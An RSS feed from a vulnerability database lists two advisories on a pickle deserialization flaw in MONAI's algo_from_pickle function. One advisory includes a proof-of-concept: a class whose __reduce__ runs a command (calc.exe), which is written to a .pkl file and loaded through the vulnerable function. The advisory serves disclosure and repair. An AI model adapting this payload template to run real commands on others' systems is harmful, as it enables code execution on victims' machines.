<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 23:48:45 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-100846 — MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-100846</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Project-MONAI MONAI&lt;/p&gt;
&lt;p&gt;MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Project-MONAI MONAI&lt;/p&gt;
&lt;p&gt;MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-100846</guid>
    </item>
    <item>
      <title>GHSA-89gg-p5r5-q6r4 — MONAI: Unsafe functions lead to pickle deserialization rce</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-89gg-p5r5-q6r4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: monai&lt;/p&gt;
&lt;p&gt;### Summary
The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.&lt;/p&gt;
&lt;p&gt;### Details
poc
```
import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, ([&amp;#39;calc.exe&amp;#39;],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())&lt;/p&gt;
&lt;p&gt;attack_data = {
    &amp;#34;algo_bytes&amp;#34;: malicious_algo_bytes,  
     
}
attack_pickle_file = &amp;#34;attack_algo.pkl&amp;#34;
with open(attack_pickle_file, &amp;#34;wb&amp;#34;) as f:
    f.write(pickle.dumps(attack_data))&lt;/p&gt;
&lt;p&gt;```
Generate the malicious file &amp;#34;attack_algo.pkl&amp;#34; through POC.&lt;/p&gt;
&lt;p&gt;```
from monai.auto3dseg.utils import algo_from_pickle&lt;/p&gt;
&lt;p&gt;attack_pickle_file = &amp;#34;attack_algo.pkl&amp;#34;
result = algo_from_pickle(attack_pickle_file)
```
Ultimately, it will trigger pickle.load through a file to identify the command execution.&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;909&amp;#34; height=&amp;#34;534&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;Causes of the vulnerability:
```
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -&amp;gt; Any:&lt;/p&gt;
&lt;p&gt;with open(pkl_filename, &amp;#34;rb&amp;#34;) as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;### Impact
Arbitrary code execution&lt;/p&gt;
&lt;p&gt;Repair suggestions
Verify the data source and content before deserializing, or use a s…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: monai&lt;/p&gt;
&lt;p&gt;### Summary
The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.&lt;/p&gt;
&lt;p&gt;### Details
poc
```
import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, ([&amp;#39;calc.exe&amp;#39;],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())&lt;/p&gt;
&lt;p&gt;attack_data = {
    &amp;#34;algo_bytes&amp;#34;: malicious_algo_bytes,  
     
}
attack_pickle_file = &amp;#34;attack_algo.pkl&amp;#34;
with open(attack_pickle_file, &amp;#34;wb&amp;#34;) as f:
    f.write(pickle.dumps(attack_data))&lt;/p&gt;
&lt;p&gt;```
Generate the malicious file &amp;#34;attack_algo.pkl&amp;#34; through POC.&lt;/p&gt;
&lt;p&gt;```
from monai.auto3dseg.utils import algo_from_pickle&lt;/p&gt;
&lt;p&gt;attack_pickle_file = &amp;#34;attack_algo.pkl&amp;#34;
result = algo_from_pickle(attack_pickle_file)
```
Ultimately, it will trigger pickle.load through a file to identify the command execution.&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;909&amp;#34; height=&amp;#34;534&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;Causes of the vulnerability:
```
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -&amp;gt; Any:&lt;/p&gt;
&lt;p&gt;with open(pkl_filename, &amp;#34;rb&amp;#34;) as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;### Impact
Arbitrary code execution&lt;/p&gt;
&lt;p&gt;Repair suggestions
Verify the data source and content before deserializing, or use a s…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-89gg-p5r5-q6r4</guid>
    </item>
  </channel>
</rss>
